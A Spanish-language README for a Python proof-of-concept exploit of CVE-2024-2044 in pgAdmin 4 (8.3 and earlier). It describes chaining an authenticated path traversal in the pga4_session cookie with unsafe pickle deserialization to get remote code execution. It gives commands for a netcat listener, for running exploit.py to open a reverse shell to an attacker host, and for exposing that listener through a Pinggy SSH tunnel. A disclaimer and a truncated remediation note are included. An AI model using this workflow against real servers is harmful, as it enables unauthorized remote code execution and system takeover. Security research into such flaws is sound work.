
PoC en Python que explota CVE-2024-2044 en pgAdmin 4 (<=8.3) mediante path traversal autenticado y deserialización insegura de pickle para lograr ejecución remota de código y reverse shell.
Este repositorio contiene un script Proof of Concept (PoC) para CVE-2024-2044, una vulnerabilidad crítica que combina Authenticated Path Traversal y Unsafe Deserialization en pgAdmin 4 (versión 8.3 e inferiores) ejecutándose en entornos Linux/POSIX.
[!WARNING] DISCLAIMER: Este código fue creado únicamente con fines educativos, de investigación de seguridad y de pruebas de penetración autorizadas (authorized pentesting). El uso indebido de este código para atacar objetivos sin autorización por escrito es un acto ilegal y viola la ley.
En pgAdmin 4 con modo servidor en entornos Linux, la gestión de sesiones se almacena en forma de archivos locales. La vulnerabilidad ocurre porque la función FileBackedSessionManager.get() acepta el valor de la cookie HTTP pga4_session y lo concatena a la ruta del directorio usando os.path.join sin sanitizar los caracteres de manipulación de ruta (../).
Este script PoC explota dicha brecha con el siguiente flujo:
pickle malicioso que contiene un comando de Reverse Shell. Este archivo se almacena bajo el directorio de almacenamiento del usuario (por ejemplo: /storage/nombre_usuario/)./login manipulando la cookie pga4_session para que apunte a una ruta relativa hacia el archivo pickle subido (por ejemplo: ../storage/nombre_usuario/archivo.pickle!). El signo ! se utiliza para ajustarse a la búsqueda de extensión de archivo de sesión en pgAdmin 4.pickle.loads(). Como resultado, el payload ejecuta un proceso Python separado (detached) que lanza un Reverse Shell hacia el atacante.requests.nc -lvnp 4444
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
Si su máquina se encuentra detrás de un NAT/Router y necesita tunnelling público, puede usar el servicio Pinggy.io con los siguientes pasos:
Encienda nc en la máquina local primero usando el puerto de su elección (por ejemplo: puerto 1337):
nc -lvnp 1337
Abra una nueva terminal y ejecute el comando SSH de Pinggy. Asegúrese de que el puerto local al final (1337) coincida con el puerto nc que encendió previamente:
ssh -p 443 -R0:localhost:1337 [email protected]
Una vez conectado, Pinggy le proporcionará una URL pública TCP, por ejemplo:
tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143

Nota: El puerto público obtenido de Pinggy es 43143 (este será el -lport más adelante).
El servidor pgAdmin 4 objetivo necesita el formato de dirección IP real para la conexión del socket del reverse shell. Realice un nslookup sobre el dominio de su URL de Pinggy:
nslookup ubylm-103-79-246-198.run.pinggy-free.link
La salida mostrará la IP pública del servidor de Pinggy (elija la IPv4 en la sección Address más arriba):
Non-authoritative answer:
ubylm-103-79-246-198.run.pinggy-free.link canonical name = lin.ap.12.a.pinggy.click.
Name: lin.ap.12.a.pinggy.click
Address: 172.236.148.125
De la salida anterior, se obtiene la IP real de Pinggy: 172.236.148.125.

Ejecute el script PoC introduciendo la IP resultante del nslookup como -lhost y el puerto público de Pinggy como -lport:
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143


-t, --target : URL objetivo de pgAdmin 4 (Obligatorio).-u, --username: Email/Username de inicio de sesión (Default: [email protected]).-p, --password: Password de inicio de sesión (Default: player123).-lhost : Dirección IP del atacante / IP resultante del nslookup de Pinggy (Obligatorio).-lport : Puerto listener del atacante / Puerto público de Pinggy (Obligatorio).Esta vulnerabilidad ha sido corregida en pgAdmin 4 versión 8.4. Si administra un servidor vulnerable, realice de inmediato las siguientes acciones: